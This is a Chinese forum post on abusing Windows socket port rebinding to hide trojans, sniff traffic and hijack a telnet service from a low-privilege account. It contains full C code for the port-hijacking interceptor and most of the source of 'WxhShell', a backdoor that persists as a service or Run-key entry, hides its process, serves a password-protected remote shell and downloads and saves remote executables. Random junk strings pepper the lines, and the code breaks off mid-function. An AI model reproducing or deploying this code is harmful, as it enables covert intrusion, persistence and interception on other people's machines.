社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16002阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bgKC^Q/F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *hJWuMfY,  
#ojuSS3  
  saddr.sin_family = AF_INET; ,aGIq. *v  
*78c2`)[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l>`66~+s,`  
}^$1<GT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ry"4v_e9  
B{D4.!a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a:`<=^:4,  
a$Y{ut0t(  
  这意味着什么?意味着可以进行如下的攻击: T *PEUq  
T!B\ixt6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kWVk^ ,  
iLNUydiS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [ }Tb2|  
b1jDbiH&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k ,+,,W  
sxph#E%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,Xfu?Yan  
=~Qg(=U0U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kp*!  
JGTsVa2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m"'LT0nur  
US(RWXyg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *<y9.\z Y<  
DB-79U%W  
  #include 3Il._]#  
  #include 8Q$WwiS  
  #include vYb4&VV  
  #include    Xq03o#-p+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l9="ccM  
  int main() Skg/iH"(  
  { ;-@: }/  
  WORD wVersionRequested; ,=4,eCS  
  DWORD ret; Z|Rc54Ct  
  WSADATA wsaData; @KU;' th  
  BOOL val; 1zH?.-  
  SOCKADDR_IN saddr; 'N+;{8C-{  
  SOCKADDR_IN scaddr; W&R67ff|  
  int err; @4 8!e-W  
  SOCKET s; +$nNYD  
  SOCKET sc; uax0%~O\  
  int caddsize; ncOgSj7e  
  HANDLE mt; S`zu.8%5  
  DWORD tid;   jS[=Zx`  
  wVersionRequested = MAKEWORD( 2, 2 ); h8 N|m0W  
  err = WSAStartup( wVersionRequested, &wsaData ); d7[^p N  
  if ( err != 0 ) { r(uo-/7z  
  printf("error!WSAStartup failed!\n"); oxN5:)  
  return -1; N<a %l J  
  } K-#d1+P+  
  saddr.sin_family = AF_INET; /KF@Un_Ow  
   BlU&=;#r5>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e1h7~ j  
DC*MB:c#U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @0 P4pt;(  
  saddr.sin_port = htons(23); }*QK;#NEc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EYj~Xj8_  
  { g`S;xs  
  printf("error!socket failed!\n"); G"J nQ  
  return -1; iJ^}{-  
  } rZ3ji(4HS  
  val = TRUE; rC_1f3A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pgh(~ [  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K;sC#9m  
  { SsW<,T  
  printf("error!setsockopt failed!\n"); Aipm=C8  
  return -1; cxSHSv 1;  
  } I8)D   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {m~)~/z?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #2ta8m),  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b/ \EN)  
;#9?3O s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %\sE\]K  
  { YCltS!k  
  ret=GetLastError(); d[,Rgdd@I  
  printf("error!bind failed!\n"); Sv/P:r _  
  return -1; hN!;Tny  
  } L +Uq4S^  
  listen(s,2); T*%GeY [  
  while(1) UH%H9; ,$]  
  { SN ?Z7  
  caddsize = sizeof(scaddr); 2DFsMT>X  
  //接受连接请求 ZM-P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :2S?|7U4  
  if(sc!=INVALID_SOCKET) L+%kibnY'  
  { "X2'k@s`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kOD=H-vSi  
  if(mt==NULL) 8} :$=n4&  
  { D|)_c1g  
  printf("Thread Creat Failed!\n"); lCp6UkE  
  break; C/Z#NP~ *  
  } ;BH.,{*@B  
  } 99ZWB  
  CloseHandle(mt); :qbU@)p*  
  } N6-7RoA+  
  closesocket(s); sU&v B:]~  
  WSACleanup(); ?<3 d Fb  
  return 0; 9AhA"+?  
  }   m=@xZw<  
  DWORD WINAPI ClientThread(LPVOID lpParam) "Ux(nt  
  { r1-MO`6  
  SOCKET ss = (SOCKET)lpParam; 6}I X{nQI  
  SOCKET sc; vkhPE(f  
  unsigned char buf[4096]; Pa Q lQ#  
  SOCKADDR_IN saddr; ?.< Qgd  
  long num; ^SG>VfgC  
  DWORD val; 0~RD@>]  
  DWORD ret;  W;7$Dq:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mwLf)xt0'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   96~y\X@x  
  saddr.sin_family = AF_INET; LJPJENtFIs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "z Y~*3d  
  saddr.sin_port = htons(23); J~WT;s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +%\Ci!%b  
  { CqC )H7A  
  printf("error!socket failed!\n"); L%Zr3Ct  
  return -1; K)>F03=uE  
  } =l/Dc=[  
  val = 100; &gr 8;O:0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "A+7G5  
  { 'a+^= c  
  ret = GetLastError(); {Dl@/fz  
  return -1; X\Zan$oi  
  } j3-o}6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ed',\+.uB  
  { `WL3aI":  
  ret = GetLastError(); ~$K{E[^<  
  return -1; DL4`j>2Ov  
  } BuRsz6n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rbdrs  
  { @H#Fzoo.  
  printf("error!socket connect failed!\n"); ,}'8. f  
  closesocket(sc); K2x2Y=  
  closesocket(ss); QK6_dIvDz  
  return -1; q1u$Sm  
  } 4w ,&#L  
  while(1) w%qnH e9  
  { O-V] I0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #2U#h-vI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~HGSA(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zW#5 /*@  
  num = recv(ss,buf,4096,0); fn 'n'X|  
  if(num>0) ]vf0f,F  
  send(sc,buf,num,0); 3>7{Q_5  
  else if(num==0) auAz>6L  
  break; k;cX,*DIn  
  num = recv(sc,buf,4096,0); 2#5Q~  
  if(num>0) )cizd^{  
  send(ss,buf,num,0); +d=f_@i  
  else if(num==0) na $MR3@e  
  break; Xn=yC Pi  
  } kB CU+FC  
  closesocket(ss); - JEPh!oTt  
  closesocket(sc); 5<*E S[S  
  return 0 ; wg)Bx#>\L:  
  } B/a`5&G]  
Xykoq"dbb  
^"|q~2  
========================================================== JjI1^FRd  
#n+u>x.O  
下边附上一个代码,,WXhSHELL iYT?6Y|+  
)tJaw#Mih  
========================================================== !Ltx2CB2]  
)=}qAVO8  
#include "stdafx.h" &aIFtlC  
} G{"Mp4  
#include <stdio.h> Rq+7&%dy  
#include <string.h> BV@q@C  
#include <windows.h> W*S4gPGM  
#include <winsock2.h> 5TpvJ1G  
#include <winsvc.h> ,^e2ma|z  
#include <urlmon.h> b(|&e  
:F"IOPfU5[  
#pragma comment (lib, "Ws2_32.lib") <& PU%^Ha  
#pragma comment (lib, "urlmon.lib") sS{Co8EJn  
^ wZx=kas  
#define MAX_USER   100 // 最大客户端连接数 TC<Rg?&yb  
#define BUF_SOCK   200 // sock buffer 6c^?DLy9B  
#define KEY_BUFF   255 // 输入 buffer e)?}2  
+$L}B-F  
#define REBOOT     0   // 重启 $t& o(]m  
#define SHUTDOWN   1   // 关机  ]'% iR  
;Ngk"5  
#define DEF_PORT   5000 // 监听端口 OHAU@*[lM  
,rN$ah$CL  
#define REG_LEN     16   // 注册表键长度 _Cz98VqRk  
#define SVC_LEN     80   // NT服务名长度 ~v\ W[  
zMpvS rc  
// 从dll定义API t=}]4&Yp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rZ(#t{]=!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u*%mUh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hx@@[sKF7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "__)RHH:8  
u0+F2+ I  
// wxhshell配置信息 L;*7p9  
struct WSCFG { Ump Hae  
  int ws_port;         // 监听端口 \41/84BA  
  char ws_passstr[REG_LEN]; // 口令 .9ZK@xM&?  
  int ws_autoins;       // 安装标记, 1=yes 0=no L / PAC  
  char ws_regname[REG_LEN]; // 注册表键名 c0e[vrP:  
  char ws_svcname[REG_LEN]; // 服务名  V0A>+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |) ~-Wy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >G!=lLyR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ML|?H1m>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UZFs ]z!,k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AEj%8jh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O95gdxc  
Q hRz57'  
}; ]m`:T  
w3 vZ}1|  
// default Wxhshell configuration 6FUcg40Y  
struct WSCFG wscfg={DEF_PORT, yy/'B:g  
    "xuhuanlingzhe", 1(T2:N(M-A  
    1, )skpf%g  
    "Wxhshell", j< h1s%  
    "Wxhshell", 2K/t[.8  
            "WxhShell Service", {7oPDP  
    "Wrsky Windows CmdShell Service", .?APDr"QQH  
    "Please Input Your Password: ", (FGy"o%TP'  
  1, ~kV>nx2  
  "http://www.wrsky.com/wxhshell.exe", /0k'w%V{n  
  "Wxhshell.exe" }sqFvab<  
    }; /,~]1&?}1  
,f)+|?wz  
// 消息定义模块 X6B,Mply  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JT<JS6vw#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'tkQz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MaPhG<?  
char *msg_ws_ext="\n\rExit."; @6~m&$R/  
char *msg_ws_end="\n\rQuit."; ;,]4A{|  
char *msg_ws_boot="\n\rReboot..."; k9H}nP$F  
char *msg_ws_poff="\n\rShutdown..."; rIB./,  
char *msg_ws_down="\n\rSave to "; X7K{P_5l  
I8@leT\9M  
char *msg_ws_err="\n\rErr!"; J3oUtu  
char *msg_ws_ok="\n\rOK!"; Ux^ue9  
{I0!q"sF  
char ExeFile[MAX_PATH]; &.2% p  
int nUser = 0; 5G'2 Wby'#  
HANDLE handles[MAX_USER]; a(fiW%eFb  
int OsIsNt; Vr& GsT  
>mvE[iXRG?  
SERVICE_STATUS       serviceStatus; .%J<zqk-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v0\M$@N[  
E*T6kp^b  
// 函数声明 DsxNg  
int Install(void); |*ZM{$  
int Uninstall(void); v0&DD&mp  
int DownloadFile(char *sURL, SOCKET wsh); :0%[u(  
int Boot(int flag); dj] O  
void HideProc(void); ^Ar1V!PFk  
int GetOsVer(void); .i )K#82  
int Wxhshell(SOCKET wsl); U3]/ NV*   
void TalkWithClient(void *cs); mPPB"uQ  
int CmdShell(SOCKET sock); PmsZ=FY  
int StartFromService(void); 1xkk5\3]  
int StartWxhshell(LPSTR lpCmdLine); ;mD!8<~z.  
KU/QEeqbrp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P^Og(F8;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B/Q>i'e  
e$ QMR.'  
// 数据结构和表定义 =7kn1G.(  
SERVICE_TABLE_ENTRY DispatchTable[] = t vW0 W  
{ \jZmu  
{wscfg.ws_svcname, NTServiceMain}, B&KIM{j\  
{NULL, NULL} BUi,+NdIk  
}; rKOa9M  
TL"+Iv2]/$  
// 自我安装 #NMQN*J>D  
int Install(void) @pJ;L1sn  
{ X}={:T+6s  
  char svExeFile[MAX_PATH]; %( %EEt  
  HKEY key; ]{|l4e4P  
  strcpy(svExeFile,ExeFile); "\~>[on  
M`=\ijUwN  
// 如果是win9x系统,修改注册表设为自启动 oWDn_GnG`h  
if(!OsIsNt) { `T%nGVl>\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [zP}G?(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LoJEchRK  
  RegCloseKey(key); r da: ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .;bU["fn)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b/T k$&  
  RegCloseKey(key); pXQ$n:e  
  return 0; (yEU9R$I"  
    } L1k  
  } l%i*.b(  
} X?r$o>db  
else { e&(Wn2)o  
$i3`cX)g  
// 如果是NT以上系统,安装为系统服务 n sN n>{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :zfMRg  
if (schSCManager!=0) j{t r''yN  
{ #QOb[9(Tu(  
  SC_HANDLE schService = CreateService kyYU 1gfh  
  ( ]$UTMuO Ql  
  schSCManager, ??hKsjNAm0  
  wscfg.ws_svcname, I&1.}{G>F  
  wscfg.ws_svcdisp, i(# Fjp  
  SERVICE_ALL_ACCESS, hf)R PG&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N/2WUp  
  SERVICE_AUTO_START, CAA 3-"Cwi  
  SERVICE_ERROR_NORMAL, Y!(w.G  
  svExeFile, 7oL:C  
  NULL, (o\D=!a  
  NULL, b9b`%9/L  
  NULL, HyQ(9cn |  
  NULL, >*l2]3' `  
  NULL &d!ASa  
  ); /bC@^Y&}  
  if (schService!=0) ja{x}n*5  
  { }Vm'0  
  CloseServiceHandle(schService); ZWB3R  
  CloseServiceHandle(schSCManager); 8_rd1:t5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jW| ,5,43  
  strcat(svExeFile,wscfg.ws_svcname); .o<9[d"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p[!9objU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4q@[k: '  
  RegCloseKey(key); I.2>d_^<  
  return 0; Q"LlBp>t|#  
    } _$}@hD*R~  
  } 0@&;JMh6<  
  CloseServiceHandle(schSCManager); $S/WAw,/  
} !.q#X^@>L  
} wv%UsfD  
ph ~#{B(\  
return 1; ^zG!Z:E  
} IMy!8$\u  
m[N&UM#  
// 自我卸载 q.ppYXJUXi  
int Uninstall(void) \w$e|[~  
{ #Oa`P  
  HKEY key; --`W1!jI@  
Sn;q:e3i{A  
if(!OsIsNt) { nu16L$ ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BMU#pK;P]  
  RegDeleteValue(key,wscfg.ws_regname); KWw?W1H  
  RegCloseKey(key); z5f3T D6,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r)G)i;;~*  
  RegDeleteValue(key,wscfg.ws_regname); m&_!*3BAG  
  RegCloseKey(key); ]7|qhAh<L  
  return 0; X5Y. o&  
  } *unJd"<*&@  
} _z"\3hZ  
} Z= pvoTY  
else { 6k1_dRu  
$yFR{_]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w-wJhc|  
if (schSCManager!=0) (Y?}'?  
{ w/fiNY5FZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LA,G>#?H  
  if (schService!=0) U}-hV@y  
  { eoiC.$~\  
  if(DeleteService(schService)!=0) { /cD]m  
  CloseServiceHandle(schService); bde6 ;=oM  
  CloseServiceHandle(schSCManager); Y$ ZDJNz  
  return 0; m?1AgsBR  
  } uKT\\1Jrq  
  CloseServiceHandle(schService); {~=gKZ:-@  
  } D rouEm  
  CloseServiceHandle(schSCManager); (rf8"T!"  
} <$ nMqUu0  
} Wb{8WPS  
**n109R  
return 1; Q>/[*(.Wd  
} lIatM@gU  
"Z a}p|Ct  
// 从指定url下载文件 5PKdMEK|q  
int DownloadFile(char *sURL, SOCKET wsh) E{B40E~4  
{ =XUt?5  
  HRESULT hr; q0_Pl*  
char seps[]= "/"; wH qbTA  
char *token; YtT:\#D  
char *file; rf2-owWN  
char myURL[MAX_PATH]; 4?7OP t6  
char myFILE[MAX_PATH]; $0;Dk,  
1FRpcE  
strcpy(myURL,sURL);  Y}Nd2  
  token=strtok(myURL,seps); ?uE@C3 e  
  while(token!=NULL) `lE8dwL  
  { L?hWH0^3  
    file=token; 5'"9)#Ve  
  token=strtok(NULL,seps); ^Pc&`1Ap  
  } G^w:c]  
MSS0Sx<f  
GetCurrentDirectory(MAX_PATH,myFILE); !r_2b! dy  
strcat(myFILE, "\\"); J|o )c~  
strcat(myFILE, file); R<8!lQ4s  
  send(wsh,myFILE,strlen(myFILE),0); (w, Gv-S  
send(wsh,"...",3,0); >Co5_sCe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;e ^`r;]  
  if(hr==S_OK) iD!]I$  
return 0; 2-u9%  
else Bf6\KI<V2  
return 1; )}R w@70L-  
E`UEl$($  
} nOUF<DNQ  
!\1Pu|  
// 系统电源模块 O<qo%fP  
int Boot(int flag) 6y)NH 8l7  
{ 5!d'RBO   
  HANDLE hToken; oOy_2fwZPp  
  TOKEN_PRIVILEGES tkp; j}@n`[V1  
{rZ )!  
  if(OsIsNt) { JXF@b-c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q>>II|~;J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l=t$ XWh!  
    tkp.PrivilegeCount = 1; q{oppali  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \MFjb IL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1mz72K  
if(flag==REBOOT) { By}>h6`[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BjCg!6`XF  
  return 0; <bgFc[Z  
} 6 VuMx7W1  
else {  $"x~p1P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =!|= Y@  
  return 0; *z\L  
} HFrwf{J  
  } JG!@(lr  
  else { ir3EA'_>N  
if(flag==REBOOT) { <Yy|.=6 D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yj C@  
  return 0; :/'oh]T|  
} +HNM$yp  
else { $/;;}|hqi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) InR/g@n+D1  
  return 0; "E )0)A3=  
} JQ]A"xTIa*  
} WkR=(dss8  
)Fh5*UC  
return 1; \L{V|}"X  
}  q<Zza  
k'JfXrW<!  
// win9x进程隐藏模块 VRa>bS  
void HideProc(void) |jE0H!j  
{ 8P3"$2q  
5]yby"Z?}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); whvvc2  
  if ( hKernel != NULL ) I9;,qd%<T  
  { `E2HQA@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z`Sbq{Kx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L4-v'Z;  
    FreeLibrary(hKernel); :LEC[</yvl  
  } As-xO~+  
C;NG#4;'  
return; -7:_Dy  
} (S1Co&SX  
C(kIj  
// 获取操作系统版本 9&} i[x4  
int GetOsVer(void) ~zT743  
{ R\d)kcy4  
  OSVERSIONINFO winfo; sW]fPa(cn,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aJ^RY5  
  GetVersionEx(&winfo); ]KE"|}B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B(h%>mT[  
  return 1; Y('?Z]  
  else ,@4~:OY  
  return 0; \RDS~u\d  
} C4^o= 6{  
6#DDMP8;I  
// 客户端句柄模块 X{G&r$  
int Wxhshell(SOCKET wsl) #1oyRD-  
{ y$C\b\hM  
  SOCKET wsh; ErXzKf  
  struct sockaddr_in client; u</LgOP`-  
  DWORD myID; <P1yA>=3`  
:M _N  
  while(nUser<MAX_USER) 8%Hc%T[RnT  
{ lLi)?  
  int nSize=sizeof(client); K)[DA*W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] g]^^  
  if(wsh==INVALID_SOCKET) return 1; GP{$w_'!J0  
oK#UEn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f*46,` x  
if(handles[nUser]==0) %UokR"  
  closesocket(wsh); !)$e+o^W  
else @\s*f7  
  nUser++; S5>?j n1  
  } ft><Ql3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c1aIZ  
,Vr-E  
  return 0; zqt{oN_  
} xfK@tLEZ-1  
ptMDhMVW  
// 关闭 socket e-Ma8+X\  
void CloseIt(SOCKET wsh) iininITOS{  
{ Hx#1TqC /  
closesocket(wsh); ;Qq<5I"y  
nUser--; m;@8z[ ^5  
ExitThread(0); f1,VbuS9I  
} BOdd~f%&tn  
OD;F{Hc  
// 客户端请求句柄 {DWL 5V#M  
void TalkWithClient(void *cs) KI Xp+Z  
{ :^H2D=z@  
_`.Wib+  
  SOCKET wsh=(SOCKET)cs; PQJw"[N/YM  
  char pwd[SVC_LEN]; {U"=}j(  
  char cmd[KEY_BUFF]; +LwwI*;b  
char chr[1]; 51-@4E2:l:  
int i,j; *!m(oP  
7 tQ?av  
  while (nUser < MAX_USER) { K;j0cxl  
E)F#Z=)  
if(wscfg.ws_passstr) { /^hc8X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I_\?wSNGM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fR>"d<;T  
  //ZeroMemory(pwd,KEY_BUFF); *%CDQx0}  
      i=0; i[/`9 AK  
  while(i<SVC_LEN) { z9Nial`p  
lsA?|4`mn  
  // 设置超时 "6q@}sz!  
  fd_set FdRead; A9Icn>3?`(  
  struct timeval TimeOut; t$z 5m<8  
  FD_ZERO(&FdRead); _lrvK99  
  FD_SET(wsh,&FdRead); {4eI} p<  
  TimeOut.tv_sec=8; ~@mNR^W-W  
  TimeOut.tv_usec=0; 3HqTVq`&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7sq15oL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .<4U2h  
M$s9   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nxMZd=Y  
  pwd=chr[0]; QjOY1Xze  
  if(chr[0]==0xd || chr[0]==0xa) { yT|44 D2j  
  pwd=0; B$ jX%e{:S  
  break; J p)I9k,Ez  
  } _N:GZLG  
  i++; #'dNSez5  
    } 4s 6,`-  
[ji')PCAi;  
  // 如果是非法用户,关闭 socket GT,1t=|&V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RTr"#[  
} *alifdp  
,\T7{=ZG\!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tyFsnc k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u#UtPF7q  
t;V^OGflv  
while(1) { Ca -.&$f  
w=FU:q/  
  ZeroMemory(cmd,KEY_BUFF); 5mX^{V&^  
mt~E&Z(A  
      // 自动支持客户端 telnet标准   6)c-s|#  
  j=0; + w'q5/`  
  while(j<KEY_BUFF) { (TU/EU5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @z^7*#vQv  
  cmd[j]=chr[0]; tz5\O}  
  if(chr[0]==0xa || chr[0]==0xd) { 0g9y4z{H  
  cmd[j]=0; yKy )%i  
  break; ZW4$Ks2]Y  
  } &?}A/(#  
  j++; D#A6s32a  
    } 1Tr%lO5?6  
a"`> J!  
  // 下载文件 `O5427Im  
  if(strstr(cmd,"http://")) { 7'#_uA QR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |h&Z.  
  if(DownloadFile(cmd,wsh)) [^W +^3V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[6i\Et   
  else 7Ck3L6J#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZQ>Q=eCs 1  
  } 9Y@ eXP  
  else { B#?rW*yEe  
'S|7<<>4k  
    switch(cmd[0]) { +,cd$,18  
  ra2{8 x  
  // 帮助 wbvOf X  
  case '?': { ksTK'7*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4)8e0L*[B?  
    break; HYL['B?Wid  
  } 8/T,{J\  
  // 安装 SSq4KFO1  
  case 'i': { 4Y1dkg1y  
    if(Install()) ZtmaV27s/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Yi="kno  
    else 0 vYG#S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i[ >U#5  
    break; ; +.cD  
    } yZN~A:  
  // 卸载 `<kB/T  
  case 'r': { ~FQHT?DAo  
    if(Uninstall()) 3@:O1i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dS\!tdHP-Q  
    else slhMvHOk-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eg8b|!-')8  
    break; IRueq @4  
    } ANJL8t-m  
  // 显示 wxhshell 所在路径 q#SEtyJL  
  case 'p': { z;y{QO  
    char svExeFile[MAX_PATH]; QBGjH^kL  
    strcpy(svExeFile,"\n\r"); tRO=k34  
      strcat(svExeFile,ExeFile); "LJV}L  
        send(wsh,svExeFile,strlen(svExeFile),0); q"6$#o{~U  
    break; RRpY%-8M  
    } K&RIF]0#G  
  // 重启 J@"UFL'^  
  case 'b': { lSlZ^.&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .6LRg  
    if(Boot(REBOOT)) >MSK.SNh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q |FOU  
